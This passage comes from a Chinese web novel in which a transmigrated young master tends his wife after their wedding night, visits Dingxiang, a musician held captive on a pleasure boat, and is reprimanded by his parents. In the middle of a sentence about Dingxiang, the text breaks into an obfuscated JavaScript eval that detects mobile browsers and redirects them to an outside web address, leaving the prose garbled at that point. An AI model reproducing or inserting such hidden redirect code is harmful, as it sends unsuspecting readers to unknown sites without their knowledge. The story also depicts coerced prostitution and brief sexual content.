但在即将彻底沉沦之际,他尚存的一丝清明提醒着自己要理智。毕竟李傲雪是他心尖上的人,即便内心欢喜,他也不愿因自己伤害到她。他努力调整着紊乱的呼吸,试图在寻得平衡,双手不自觉地收紧,又缓缓放松,像是在与自己内心的冲动做着艰难的抗争。 最终,他轻轻捧起李傲雪的脸,目光中满是深情与克制,嘴唇微微颤抖着说:“傲雪……我……”话未出口,却饱含着无尽的情感与纠结。 李傲雪感受到肖晨的迟疑,忙轻声安抚:“不用担心我,少爷。”听到这话,肖晨彻底没了顾忌,放飞自我。 肖晨听到李傲雪的话,再也顾不上许多。然而,很快他就察觉到李傲雪身体的异样,她发烧的身躯和微微蹙起的眉头,让他意识到她此刻正承受不适。 “傲雪,是不是让你不舒服?”肖晨瞬间清醒了几分,满心的关切与自责,举动也下意识地放缓、变轻,“你要是难受,一定要告诉我。”他轻轻吻去她额头因疼痛而沁出的汗珠,眼中满是心疼与焦急,此刻只希望能将她的痛苦都转移到自己身上。 李傲雪微微摇头,虚弱却又坚定地看着肖晨:“少爷,我没事,我愿意”尽管不适阵阵袭来,她眼中的爱意却未曾减少半分,反而愈发浓烈,紧紧抱住肖晨,仿佛在向他传递着自己的决心。 肖晨满心担忧,看着李傲雪痛苦的模样,忍不住想要停下来,轻声说:“傲雪,你这样我心疼,还是停下吧。” 可李傲雪双手紧紧环住他,声音带着几分虚弱却又满是执拗:“少爷,别停,继续我太想要你在我身边,完完全全属于我”她眼神迷离,滚烫的脸颊因激动泛起红晕,眼中的渴望让肖晨再也狠不下心拒绝。 肖晨只得强忍着内心的心疼,举动愈发轻柔,一边留意着李傲雪的反应,一边用温柔的话语安抚:“傲雪,要是不适应一定要说,我会很小心。”他试图在满足李傲雪心意的同时,尽可能减轻她的不适,让这份亲密既能承载两人浓烈的爱意,又不致给她带来过多伤害。 李傲雪感觉自己已临近崩溃,身体微微颤抖着。可她满心满眼都是眼前的肖晨,不愿让他停下,便强装出还未满意的模样。 她娇喘着,用迷离的眼神看着肖晨,心里不禁想着:自家少爷竟比以前厉害了许多。而肖晨看着她泛红的脸颊,虽不太确定她真实状态,但依旧温柔且专注。 肖晨拼尽全力,坚持到最后一刻。而李傲雪终于再也承受不住,紧绷的神经瞬间松懈,她发出一声带着疲惫与满足的轻叹。 肖晨赶忙停下动作,心疼地将她轻轻揽入怀中,仔细查看她的状态。李傲雪面色潮红,眼神带着一丝迷离与无尽的温柔,微微喘息着。肖晨轻轻为她捋顺凌乱的发丝,在她额头落下一吻,满是关切地低语:“傲雪,辛苦你了,有没有哪里不舒服?” 李傲雪轻轻摇头,脸上浮现出幸福的笑容,依偎在肖晨怀里,感受着他有力的心跳,轻声说:“少爷,我没事,能和你这样,我很开心” 肖晨温柔地看着怀中的她,轻声说道:“我也是,这种感觉很美好。” 李傲雪微微仰头,目光中满是眷恋与期待,娇嗔道:“少爷下次可不要逃避了,多和我亲近些。只有这样,我才能真真切切地感受到你是真正属于我的。我呀,最喜欢和你身心都在一起的时候,感觉全世界都圆满了。” 肖晨抱紧了她,在她发顶落下一吻,认真地回应:“好,以后不会再逃避,只要你开心,我都愿意。” 李傲雪听到这句话,脸上洋溢着幸福的笑容,主动吻上肖晨,声音轻柔地说道:“那我可等着呢。”说完,她紧紧依偎在肖晨怀里,仿佛找到了最温暖的港湾。 肖晨也紧紧回抱着她,感受着彼此的体温和心跳。在这温馨静谧的房间里,爱意如同柔和的月光,洒满每一个角落。两人相拥而眠,带着对彼此深深的眷恋与满足,缓缓进入梦乡,嘴角都挂着一丝甜蜜的笑意,仿佛在睡梦中也能延续这份美好的情感。 32. 封建社会的悲哀 晨光透过纱帘漫进房间时,肖晨先醒了。 他侧过身,目光落在李傲雪颈侧那片淡粉的印记上,指尖悬在半空,终究没敢碰。昨夜的炽热仿佛还留在指尖,此刻却被清晨的微凉冲淡,只剩下几分说不清的滞涩。 “傲雪,”他开口时,嗓音带着初醒的沙哑,“身上还疼吗?” 李傲雪动了动,睫毛颤了颤才睁开眼。她望着他,眼底还蒙着层朦胧的水汽,听见问话,先是微怔,随即垂下眼睫,露出小巧的下巴。 “少爷,”她轻声应着,尾音微微发颤,却不是因为疼,“我不疼的。” 她往他身边挪了挪,肩膀轻轻贴上他的手臂,像只寻求庇护的小兽。“只要能在您身边,能亲近您,我怎么会疼呢?”她抬起眼,眸子里映着晨光,亮得惊人,“我只有开心。” 肖晨喉结滚了滚,伸手将她揽进怀里。布料下的肌肤温软,那些深浅不一的痕迹却像细密的针,扎在他心上。他知道她总是这样,把所有不适都藏起来,只把最温顺柔软的一面给他看。 “以后……”他想说些什么,比如“以后会轻点”,或是“以后别总忍着”,话到嘴边却成了叹息,“再睡会儿吧。” 李傲雪乖巧地应了声,往他怀里缩得更紧,鼻尖蹭着他的锁骨。她没说,其实后背确实有些酸,腰也隐隐发沉,但这些都抵不过此刻的安稳——能这样靠着他,听着他的心跳,连阳光都带着甜意。 回笼觉睡得并不沉,肖晨再次睁眼时,窗外的天光已亮得透彻。他低头看了眼怀里的人,李傲雪的睫毛在眼睑下投出浅浅的阴影,呼吸均匀,却在他微动时下意识地往他怀里缩了缩。 他轻手轻脚地想挪开,她却醒了,眼尾还带着点睡意的红。 “少爷醒了?”她撑着身子要坐起来,动作间眉头几不可察地蹙了下,又飞快舒展开。被子滑落下去,露出肩头几道暧昧的红痕,她像是没察觉,只忙着要掀被子下床,“我去给您拿衣服。” 肖晨一把按住她的手腕。她的皮肤很薄,腕骨硌得他手心发紧。“别动。”他的声音比清晨时沉了些,“躺着好好休息,你的身体要紧。” 李傲雪的动作顿住了,转过头看他,眼里的光暗了暗。“可是……” “没有可是。”肖晨打断她,伸手将滑落的被子拉回来,重新盖在她身上,“穿衣洗漱这些事,让佣人来做就好。” “不。”她忽然开口,声音不大,却带着股执拗。她抬起手,轻轻覆在他手背上,掌心的温度有些凉,“少爷,让我来吧。我想亲手帮您。” 她的指尖微微发颤,像是怕被拒绝,又补充道:“您要是不让我做这些,我……我会难过的。”尾音低下去,带着点委屈的鼻音,却不敢抬眼看他,只盯着两人交叠的手。 肖晨看着她那副小心翼翼的模样,心头像是被什么东西堵住了。他知道她的性子,看似温顺,骨子里却藏着股认死理的劲儿——在他面前,她总把“伺候”当成最安心的事,仿佛只有这样,才能确认自己是被需要的。 他沉默了片刻,终是松了手,声音放软了些:“慢点。” 李傲雪立刻抬起头,眼里瞬间亮起细碎的光,像落了星子。“哎。”她应着,掀开被子下床时,脚步还是晃了一下,却很快稳住,转身去拿叠在椅背上的衬衫,背影在晨光里显得格外单薄,却透着股满足的轻快。 肖晨见她脚步微晃,伸手便扶住了她的腰。掌心触到的地方温软,却也能感觉到那层薄薄的皮肉下,骨骼硌得人有些发紧。 “慢点,小心些。”他的声音沉了沉,带着不容置疑的关切,“别逞强。” 李傲雪被他扶着,身体轻轻晃了晃,随即稳住。她仰头看他,脸上漾开一抹浅淡的笑,眉眼弯弯的,像含着清晨的露光。“少爷放心,我能做好的。” 她挣开他的手,转身去取搭在屏风上的外袍,动作虽慢,却透着一股执拗的稳妥。“倒是您,”她回头看了眼他肩上那道还未完全愈合的伤口,语气里带着几分担忧,“身上的伤才刚好些,可不能再累着。一会儿还要去书房读书,我得赶紧伺候您梳洗妥当,别误了时辰。” 肖晨看着她踮脚去够架子上的发带,裙摆扫过地板,留下细碎的声响。他忽然觉得,她口中的“伺候”,倒像是一种无声的提醒——提醒着他,她始终把他的事放在心尖上,哪怕自己还带着昨夜的疲惫。 “不急。”他走过去,从她手里接过发带,指尖不经意擦过她的手背,“等你缓过来再说。” 李傲雪却摇摇头,重新拿过发带,低头给他系好衣襟的盘扣,声音轻得像羽毛:“不碍事的,少爷。能为您做点什么,我心里踏实。” 肖晨低头,在她额间印下一个轻吻,带着晨露般的微凉,却又透着暖意。 “傲雪,你真好。”他的声音里带着几分喟叹,指尖轻轻刮过她的脸颊,“听话,一会儿我让人把早餐送进来。” 他顿了顿,目光扫过她略显苍白的脸色,语气添了几分不容置喙的温和:“今天就别到处走动了,乖乖在床上歇着,嗯?” 李傲雪被他吻得一愣,随即脸颊泛起红晕,像染上了胭脂。她垂下眼,手指绞着衣角,轻声应道:“……好,听少爷的。” 心里却像揣了块暖玉,方才起身时的那点不适,仿佛都被这一声夸赞和温柔的叮嘱熨帖了。她抬眼望他,眸子里盛着满满的笑意,比窗外的晨光还要亮几分。 肖晨换好衣袍,又站在床边看了她片刻,见她乖乖裹着被子,才转身往外走。走到门口时,他回头叮嘱:“躺着别乱动,我让张妈把粥熬得软些。” 李傲雪点点头,目送他的身影消失在门后,才慢慢蜷起腿。被褥里还残留着他的气息,混着淡淡的墨香,让她莫名安心。方才强撑着起身时的酸累渐渐涌上来,她闭上眼,却没什么睡意,指尖轻轻抚过颈侧的印记,嘴角忍不住微微上扬。 没过多久,门外传来轻叩声,张妈端着托盘走进来,见她醒着,笑着道:“少奶奶醒了?少爷特意吩咐了,让给您炖了燕窝粥,说是补身子。” 李傲雪连忙要起身,张妈按住她:“哎哟您别动,少爷说了,让您好好歇着,我来伺候您就行。”说着便将小桌架在床沿,把粥碗摆上去,“快趁热吃吧,凉了就腥气了。” 她小口喝着粥,甜糯的暖意从喉咙滑下去,熨帖了五脏六腑。正吃着,肖晨推门进来,手里还拿着本书。“吃得怎么样?”他走到床边,目光落在空了小半的碗上。 “很好吃,谢谢少爷。”她抬头看他,眼里亮晶晶的。 他嗯了一声,在床边坐下翻书,却没立刻看,只时不时抬眼瞥她一眼。晨光透过窗棂落在他侧脸,睫毛投下浅浅的阴影,倒比书页上的字更让人移不开眼。 李傲雪很快喝完了粥,张妈进来收了碗,房间里又只剩他们两人。她看着他认真看书的样子,轻声问:“少爷不去书房吗?” “今日不去了。”他翻过一页书,声音平淡,“在这儿陪你。” 她心头一跳,脸颊又热起来,连忙别过脸,望着窗外出神。窗台上的茉莉开得正好,风一吹,送进来淡淡的香。原来被人这样放在心上,是这样暖的滋味。 日头渐渐爬到窗棂中央,肖晨合上书时,李傲雪已经歪在枕头上睡着了。她大概是累极了,眉头舒展着,呼吸轻得像羽毛,颊边还带着点未褪的红晕。 他放轻脚步走过去,替她掖了掖被角。指尖擦过她的手背,触到一片微凉,便将她的手轻轻拢进被子里。 刚直起身,就见她睫毛颤了颤,眼尾沁出点湿意,像是在做梦。他顿住脚,听见她迷迷糊糊地呢喃:“少爷……别走……” 肖晨的心像是被什么东西攥了一下,又酸又软。他重新坐回床边,伸手轻轻拍着她的后背,像哄孩子似的低声道:“我在呢,不走。” 她似乎听清了,往被子里缩了缩,嘴角弯出个浅浅的弧度,再没了动静。 他就这么坐着,看了会儿她的睡颜,又转头看窗外。蝉鸣不知何时起了声,衬得房间里愈发安静。案几上的茶水凉了,他也没动,只觉得这样的时刻难得,连空气里都浮着层温吞的甜。 直到日头偏西,李傲雪才醒过来。睁眼就看见肖晨还坐在床边,手里拿着本没翻几页的书,目光落在她脸上。 “少爷……”她有些慌,连忙要坐起来,“我怎么睡了这么久?” “躺着吧,”他按住她的肩,“刚醒别急着动。”他起身倒了杯温水递过去,“渴了吧?” 她捧着水杯小口喝着,暖流传遍全身,才发现浑身的酸累消了大半。“您一直在这儿陪着我?”她轻声问,眼里带着点不敢信。 肖晨嗯了一声,接过空杯放回案几:“书房的书哪有你重要。” 这话听得李傲雪耳尖发烫,她低下头,手指抠着被角,心里却像揣了团火,暖得快要溢出来。原来被他放在心上,是这样让人欢喜的事。 李傲雪望着肖晨,眼里的暖意还没散尽,听见他说一直陪着,连忙摇摇头:“少爷,您不用这样的。您有自己的事要忙,我一个人躺着也不碍事,真的不需要一直陪着。” 肖晨没说话,俯身又在她额上亲了亲,那吻比清晨更轻,带着点安抚的意味。“听话,”他拇指蹭了蹭她的脸颊,“要是躺着闷了,就叫人陪着在府里走走,晒晒太阳也好。别自己硬撑着。” 李傲雪乖乖点头,看着他整理好衣襟,转身往外走。走到门口时,他又回头看了她一眼,才推门出去。 门外很快传来阿成的声音:“少爷,马车备好了。” “嗯,去码头。”肖晨的声音隔着门板传进来,带着几分沉敛。 李傲雪慢慢躺回枕上,听着脚步声渐远,直到再也听不见。她知道肖晨总有自己的事要忙,只是方才他那句“书房的书哪有你重要”还在心里打转,暖得她鼻尖微微发酸。 而另一边,肖晨坐进马车,眉头便微微蹙起。阿成坐在对面,见他神色凝重,低声道:“少爷,昨晚那边的人来报,说丁香姑娘抵死不从,那几个客人闹得厉害,船老大已经把人锁起来了。” 肖晨指尖在膝头轻轻敲着,眸色沉沉:“知道了。去看看再说。” 马车碾过青石板路,发出规律的声响。他望着窗外掠过的街景,脑子里却闪过李傲雪颈侧的红痕,又很快被丁香那张倔强的脸取代。有些事,终究是躲不过的。 两人到了后,船板在脚下微微晃动,带着河面上特有的腥气。肖晨刚踏上甲板,就被几个精壮的汉子拦住了。 领头的是个疤脸男人,斜着眼打量他,嘴角勾起抹嘲讽的笑:“哟,这不是肖公子吗?”他往地上啐了口,“上次来这儿想带丁香那丫头走,结果被官府抓进去蹲了几天,还没学乖?” 他挥了挥手里的鞭子,鞭梢在甲板上抽得啪响:“我们这‘画舫’可不是什么人都能撒野的地方,肖公子还是请回吧。” 肖晨脸色未变,目光扫过周围几个虎视眈眈的汉子,沉声道:“我不是来闹事的,只想看看丁香怎么样了。” 疤脸男人像是听到了什么笑话,哈哈大笑起来:“看她?一个不听话的玩意儿,留着也是惹客人不痛快。”他收了笑,眼神狠戾了几分,“既然让客人不满意,自然得受罚——现在已经被我们关在后舱了,能不能活过今天,还得看她的造化。” 阿成在一旁按捺不住,往前一步:“你们把人怎么样了?!” “怎么样?”疤脸男人瞥了他一眼,“不过是让她知道知道规矩罢了。肖公子要是识相,就别管这闲事,免得再把自己搭进去。” 肖晨的手在袖中缓缓攥紧,指节泛白。他清楚这画舫背后的势力,硬碰硬讨不到好,可一想到丁香那双倔强的眼睛,终究还是冷声道:“我要见她。” 疤脸男人听到“见她”二字,眼睛立刻亮了亮,搓着手凑近两步:“想见人也不是不行,不过嘛……”他故意拖长了调子,拇指和食指捻了捻,“总得拿些诚意出来。” 肖晨从袖中摸出个沉甸甸的钱袋,扔了过去。钱袋撞在疤脸男人手心,发出沉闷的响声。 “这才像话。”疤脸男人掂了掂钱袋,脸上的横肉堆出笑,冲身后的人扬了扬下巴,“带肖公子去后舱,记着,就一炷香的功夫。” 狭窄的过道里弥漫着霉味,肖晨跟着汉子穿过几扇木门,最后停在一间低矮的舱房前。门被拉开时,一股浓重的药味混着血腥气扑面而来。 丁香蜷缩在角落里,身上的粗布衣裳沾着污渍,脸颊还有块青紫的瘀伤。听见动静,她猛地抬头,看清来人时,眼里先是震惊,随即涌上红意。 “公子……您怎么来了?”她的声音嘶哑,带着不敢置信的颤抖。 肖晨看着她这副模样,心头一沉,快步走过去蹲下身:“我来看看你。” 丁香却猛地别过头,眼泪顺着脸颊滚落:“您不该来的!”她的声音带着哭腔,“上次您为了我,已经被抓到大牢里去了,我什么都做不了,连看您一眼都不能……现在您怎么又要来?您不怕再被他们害了吗?” 她攥紧了拳头,指甲深深嵌进掌心,恨自己的无能为力,更怕肖晨因为她再次陷入险境。舱房里光线昏暗,只有壁缝透进的一点微光,映着她脸上的泪痕,格外让人心涩。 肖晨沉默片刻,伸手想替她拭去眼泪,却被她躲开了。他看着她戒备又痛苦的样子,低声道:“别怕,这次我有分寸。” 丁香猛地摇头,眼泪掉得更凶了,声音里带着决绝:“公子,您快走吧!算我求您了!”她扶着墙想站起来,却因为虚弱晃了晃,“我已经欠您太多了,不能再让您为我冒险。您要是不走,我……我今天就死在这里,绝不会跟您离开!” 肖晨看着她眼底的执拗,眉头拧得更紧:“丁香,你听我说——” “公子,我知道您心善,但这里不是您能救得出去的地方。您让我留在这儿吧,横竖都是这样了。” 他却不肯放弃,语气沉了几分:“我不能眼睁睁看着你在这里受罪。你本该有更好的人生,你弹琴那么好,指尖该碰的是琴弦,不是这些肮脏的枷锁。我不想看着你被他们磋磨成一把枯骨。” 丁香怔怔地望着他,眼里的泪慢慢停了,只剩下一片哀戚的平静。她忽然笑了笑,那笑容比哭更让人心头发堵:“公子的好意,我心领了。这辈子能遇见您这样的知己,听您说过这些话,我已经……死而无憾了。” 她往后缩了缩,拉开两人的距离,像是在划清界限:“您走吧,趁着他们还没反悔。就当……就当从来没认识过我。” 舱房里陷入死寂,只有船外隐约传来的浪涛声,一下下拍在心上,沉闷得发疼。肖晨看着她紧闭的双眼,知道她这是铁了心要把他推开,喉间像堵着块石头,一个字也说不出来。 肖晨看着丁香蜷缩在角落的背影,知道此刻多说无益,她的情绪像拉满的弓弦,稍一碰就会断裂。他最后看了眼那道倔强的剪影,转身走出了舱房。 刀疤刘正叼着烟杆在甲板上等着,见他出来,嘴角勾起一抹了然的笑:“怎么,劝不动?我早说了,这丫头就是块茅坑里的石头,又臭又硬。” 肖晨没理会他的嘲讽,目光冷沉沉地落在他脸上:“你们把她放出来,换个干净点的地方住。再请个大夫来,好好给她调理身子。” 刀疤刘嗤笑一声,吐掉烟蒂:“肖公子倒是大方,真把她当千金小姐养着?我们这儿可不养闲人,她吃的喝的,哪样不要钱?” 肖晨没说话,直接从阿成手里接过一个沉甸甸的钱袋,扔到刀疤刘怀里。钱袋坠得他一个踉跄,打开一看,里面的银锭子闪着冷光,足够寻常人家过上半年。 “这些够不够?”肖晨的声音没什么起伏,“只要你们好好待她,按时请大夫,该给的钱我一分不会少。但要是让我知道你们苛待她……”他顿了顿,眼神骤然锐利,“我肖晨还不至于连个姑娘都护不住。” 刀疤刘掂着钱袋,脸上的嘲讽慢慢变成了贪婪。他舔了舔嘴唇,眯着眼打量肖晨片刻,终是咧嘴一笑:“肖公子都这么说了,我们哪敢不从?放心,保证把她伺候得好好的,等她想通了,说不定还能给您弹曲儿听呢。” 肖晨没再应声,转身带着阿成下了船。海风卷着潮气扑在脸上,他回头望了眼那艘在暮色中渐渐模糊的花船,眉头依旧紧锁。他知道这些人贪得无厌,这点钱护不了丁香太久,但至少能让她先喘口气。 “回去吧。”他对阿成说,脚步坚定地走向码头,心里已经开始盘算下一步该如何做。 刀疤刘掂量着钱袋里的银锭,眼尾的笑纹堆得老高,冲身后的手下挥了挥手:“去,把那丫头带出来,换间干净舱房。再去镇上请个像样的大夫,她脸上那伤要是留了疤,往后还怎么见客?” 几个汉子应着,转身往关押丁香的舱房去。没一会儿,就见丁香被扶了出来,脚步虚浮,却依旧梗着脖子,不肯看周围的人。 “动作轻点!”刀疤刘又喊了一嗓子,像是突然有了耐心,“让伺候的丫头来,给她好好洗个澡,换身干净衣裳。把上次那位客官送的那身水绿色的裙衫找出来,她穿那个好看。” 手下们面面相觑,还是头回见刀疤刘对个“货”这么上心,但看在钱的份上,没人敢多嘴,乖乖领着丁香去了后舱。 丫头端来热水,伺候着丁香擦洗。褪去脏污的衣裳,她身上的瘀伤更显触目惊心,新旧交叠,连丫头看了都忍不住皱眉。大夫很快来了,给她上了药,又开了些活血化瘀的方子,嘱咐要按时煎服。 丁香全程没说话,任由人摆弄,眼神空茫地望着舱外。她知道这些人突然转变态度,不过是因为肖公子给了钱,可这短暂的“优待”背后,终究是为了让她养好了身子,继续弹琴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993193|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接客,继续做他们赚钱的工具。 刀疤刘站在舱外,听着里面传来轻微的水声,摸着下巴嘿嘿笑了两声。他当然不会一直关着丁香,这丫头琴弹得好,模样也周正,是艘摇钱树。等养得气色好些,再让她露个面,那些喜欢风雅的客人自然肯花钱。 “记着,汤药不能断,吃食也给好些的。”他又叮嘱了一句,转身往甲板走去,心里已经开始盘算着,该怎么从肖公子那里再捞些好处。这买卖,划算。 马车刚驶进肖府大门,就见肖父背着手站在正厅门前,脸色沉得像要滴出水来。肖晨心里一凛,知道怕是瞒不过去。 “去哪了?”肖父的声音带着压抑的怒火,目光在他和阿成身上扫过。 肖晨上前一步,垂眸道:“回父亲,去码头见了丁香。” “你还敢提!”肖父猛地提高了声音,手里的拐杖重重砸在青石板上,发出沉闷的响声,“上次为了那个卑贱的奴隶,你被官府抓去大牢,严刑拷打差点丢了性命,忘了?” 他指着肖晨的鼻子,气得浑身发抖:“你是肖家的长子,将来要继承家业的公子爷!那些烟花柳巷里的奴隶,是你能碰的吗?她们的命贱如草芥,值得你一次次把自己搭进去?” “父亲,丁香她……”肖晨想解释,却被肖父厉声打断。 “住口!”肖父的拐杖又落下来,擦着肖晨的脚边砸在地上,“从今天起,不准再踏出府门半步!你给我收收心,想想自己的身份,别再做这些辱没门楣的事!” 肖晨攥紧了拳头,指节泛白。他知道父亲的脾气,一旦动怒便很难转圜,尤其是在“门当户对”这件事上,父亲向来固执得很。 “可是父亲,丁香她……” “没有可是!”肖父转身往正厅走,留下一句冰冷的话,“再让我知道你去见那个奴隶,就别怪我不认你这个儿子!” 阿成站在一旁,吓得大气不敢出。肖晨望着父亲决绝的背影,又想起丁香在舱房里倔强的眼神,只觉得胸口像是被什么东西堵住了,闷得发疼。 肖父的脚步声消失在正厅后,肖母才快步从廊下走出来,眼圈红红的,一把握住肖晨的胳膊。 “晨儿,”她的声音带着哭腔,指尖微微发颤,“你怎么就不能让我们省点心?”她抬手摸了摸儿子的脸颊,目光落在他下颌那道浅浅的疤痕上——那是上次坐牢时留下的,至今看着还让她心疼。 “我们就你这么一个儿子,是全家的命根子啊。”肖母的眼泪掉了下来,“你要是有个三长两短,我和你父亲可怎么活?” 她深吸口气,又拉着他往内院走,声音压得更低:“更何况,还有傲雪呢。” “你和傲雪才成亲多久?那孩子温顺懂事,把你伺候得妥妥帖帖,心里眼里全是你。”肖母叹了口气,“你要是总在外头惹事,让她怎么想?她一个姑娘家,嫁过来就是想安稳度日,你得为她想想啊。” 肖晨垂着眼,听着母亲的话,喉结动了动。方才被父亲怒斥时压下的烦躁,此刻被母亲这番话浸得发软。他确实忘了,府里还有个等着他的人。 “娘知道你心善,”肖母见他不语,又放缓了语气,“可这世道就是如此,有些人有些事,不是你能护得住的。你安安分分守着家业,守着傲雪,比什么都强。” 她替他理了理衣襟,眼里满是期盼:“听话,啊?别再去码头了。” 肖晨望着母亲鬓边的白发,终是点了点头,声音有些涩:“我知道了,娘。” 只是心里那片角落,却像被潮水漫过,又凉又沉。一边是家人的期盼和李傲雪温顺的眉眼,一边是丁香在昏暗舱房里倔强的眼泪,他夹在中间,竟不知该往哪处去。 肖晨站在廊下,晚风吹起他的衣袍,却吹不散心头的滞涩。他望着庭院里那棵老槐树,叶片在暮色里簌簌作响,像极了无数压抑的叹息。 原来这就是古代,这就是所谓的封建社会。人命分了三六九等,有的人生来便锦衣玉食,有的人却只能像丁香那样,连自己的命运都握不住,被称作“奴隶”,被随意买卖、践踏。他以前在史书里读过,在电视剧里看过,总觉得隔着层纸,直到此刻,那些冰冷的文字和画面才化作活生生的疼痛,扎进心里。 真的是吃人啊。 他攥紧了拳,指甲深深嵌进掌心。可他能做什么呢?上次为了丁香,他已经试过反抗,换来的却是牢狱之灾和一身伤痕,连父亲都差点与他决裂。他不过是个异世而来的魂魄,空有现代的念头,却没有撼动这时代规则的力量。稍有不慎,别说救别人,连自己的命都得搭进去。 这一刻,他忽然懂了《步步惊心》里的若曦。那种明知命运走向却无力改变的绝望,那种在封建礼教的枷锁里步步维艰的挣扎,那种看着在意的人被时代洪流裹挟而去的无奈……以前在屏幕前看时只觉得唏嘘,如今亲身体会,才知其中滋味有多锥心。 “少爷?”阿成的声音在身后响起,带着几分小心翼翼,“夜深了,该回房了。” 肖晨回过神,松开手,掌心留下几道红痕。他点了点头,转身往卧房走。路过李傲雪的院落时,看见窗纸上映着她独坐的身影,安安静静的,像幅不会动的画。 他终究,还是得在这时代里,步步为营地活下去。 肖晨推开门时,房间里只点了盏昏黄的油灯,李傲雪半靠在床头,手里攥着本翻开的书,却显然没看进去,听见动静,立刻抬了头。 “少爷,你回来了。”她连忙放下书,想坐直些,动作间带了点不易察觉的局促。 肖晨关上门,走到床边坐下,目光落在她脸上。经过一天的休息,她脸色好看了些,不再是清晨那副苍白的模样,只是眼底还有淡淡的倦意。 “今天感觉怎么样?”他伸手探了探她的额头,温度是正常的。 李傲雪被他触到的地方微微发烫,垂下眼睫轻声道:“好多了,真的。”她顿了顿,手指绞着被角,声音低得像蚊子哼,“要是……要是您想的话……也可以的。” 话说完,她脸颊已经红透了,连耳根都泛着粉色,不敢抬头看他,只盯着自己交握的指尖。 肖晨的心像是被什么东西轻轻撞了下,又酸又软。他知道她总是这样,把自己放在最卑微的位置,小心翼翼地揣摩他的心意,生怕哪里做得不好。 他收回手,替她拢了拢滑落的被子,声音放得很柔:“傻瓜,说什么呢。”他抬手揉了揉她的头发,“好好歇着,我就是回来看看你。” 李傲雪猛地抬头,眼里闪过一丝惊讶,随即是掩饰不住的欢喜,像被雨淋湿的花忽然得了阳光。“真的?” “嗯。”肖晨笑了笑,“我累了,陪你躺会儿就好。” 他脱了外袍躺下,没做别的,只是伸手将她揽进怀里。李傲雪身体僵了下,很快放松下来,乖乖地靠在他胸口,听着他沉稳的心跳,嘴角忍不住微微上扬。 原来,他回来不是要她做什么,只是想这样陪着她。这个认知,比任何甜言蜜语都让她安心。油灯的光晕在帐子上摇晃,将两人的影子叠在一起,轻轻浅浅的,倒比白日里多了几分安稳。 帐外的夜渐渐深了,油灯的火苗跳了跳,将两人交叠的影子投在帐壁上,忽明忽暗。 李傲雪靠在肖晨怀里,起初还有些拘谨,听着他平稳的呼吸,紧绷的肩颈慢慢放松下来。她能闻到他身上淡淡的墨香,混着点室外夜风带来的凉意,让人莫名安心。 “少爷,”她犹豫了很久,还是小声开口,“您今天……是不是遇到烦心事了?” 肖晨低头看她,见她眼睛睁得圆圆的,满是担忧,心里那点因丁香而起的郁气淡了些。“没有,怎么这么问?” “我看您回来时,眉头是皱着的。”她指尖轻轻碰了碰他的眉心,像是想把那点褶皱抚平,“要是有什么事,您跟我说也行……虽然我可能帮不上什么忙,但我会听着的。” 肖晨握住她的手,那手小小的,带着点凉意。他沉默片刻,终究还是没提码头的事,只道:“没事,就是累了。” 他不想让她卷入这些糟心事里,她这样干净温顺的性子,该被好好护着,而不是被那些肮脏污浊沾染。 李傲雪见他不愿多说,便乖巧地不再问,只是往他怀里缩了缩,把脸埋在他胸口。“那您就好好歇歇,靠着我也行。” 肖晨笑了笑,收紧手臂,将她抱得更紧些。窗外的月光不知何时爬了进来,透过窗棂落在床沿,亮得像一层薄霜。 他闭着眼,听着怀里人浅浅的呼吸,还有她心脏轻轻的跳动声。那些关于时代的无奈,关于丁香的担忧,似乎都被这片刻的安稳暂时压了下去。 或许,他能做的,也只有守好眼前这一点点温暖了。 “睡吧。”他轻声说。 “嗯。”李傲雪应着,往他怀里蹭了蹭,很快就伴着他的心跳,沉沉睡了过去。 33. 生活的残忍让她没有希望 夜渐渐沉了,油灯的光晕也弱了些,房间里静得能听见窗外虫鸣。 肖晨没睡着,睁着眼看帐顶的纹路。怀里的人呼吸均匀,显然是累极了,眉头却还微微蹙着,像是在做什么不安稳的梦。他伸手,轻轻将那点褶皱抚平。 指尖触到她细腻的肌肤,想起白日里父亲的怒斥,母亲的眼泪,还有丁香在昏暗舱房里倔强的眼神。心口像是被什么堵住,闷得发慌。 他到底能护住谁呢? 李傲雪似乎被他的动作弄醒了,迷迷糊糊地睁开眼,看见他醒着,声音带着刚睡醒的软糯:“少爷,您没睡?” “快醒了。”肖晨收回手,替她掖好被角,“继续睡。” 她却摇摇头,往他怀里拱了拱,鼻尖蹭着他的衣襟:“我陪您。”她的声音很轻,“您是不是有心事?” 肖晨沉默了会儿,低低地“嗯”了一声。 “是因为……码头那位丁香姑娘吗?”李傲雪犹豫着问出口。她其实听到了些风声,知道少爷前阵子为了一个叫丁香的姑娘惹了麻烦,只是不敢多问。 肖晨有些意外她会提起,转头看她。昏暗中,她的眼睛亮晶晶的,没有嫉妒,只有纯粹的担忧。 “她……过得不好。”肖晨含糊地说。 李傲雪沉默了片刻,轻声道:“少爷心善,想帮她是应该的。”她顿了顿,握紧了他的手,“只是您也要保重自己,别再受伤了。您要是出事了,我……” 她说不下去了,眼圈有点红。 肖晨的心像是被温水浸过,软得一塌糊涂。他反手握住她的手,紧紧攥着:“我知道。” “那……要是需要帮忙,您也可以告诉我。”李傲雪仰起脸,认真地看着他,“我虽然笨,但能做的,我一定做。” 肖晨看着她清澈的眼睛,忽然笑了。在这个身不由己的时代,身边能有这样一个人,笨拙地想为他分担,已经是天大的幸事了。 他低头,在她额头印下一个轻吻:“好。” 李傲雪的脸又红了,乖乖地闭上眼,嘴角却忍不住上扬。 帐外的月光又移了些,落在两人交握的手上,温柔得像一层纱。肖晨终于觉得心头的滞涩散了些,抱着怀里温软的人,慢慢闭上了眼。 不管前路多难,至少此刻,他不是一个人。 天光微亮时,肖晨先醒了。李傲雪还睡得沉,侧脸贴着他的胸口,长睫像两把小扇子,呼吸轻轻拂过他的肌肤。他没动,就这么静静看着,直到窗纸透进更亮的光,才小心翼翼地挪开身子。 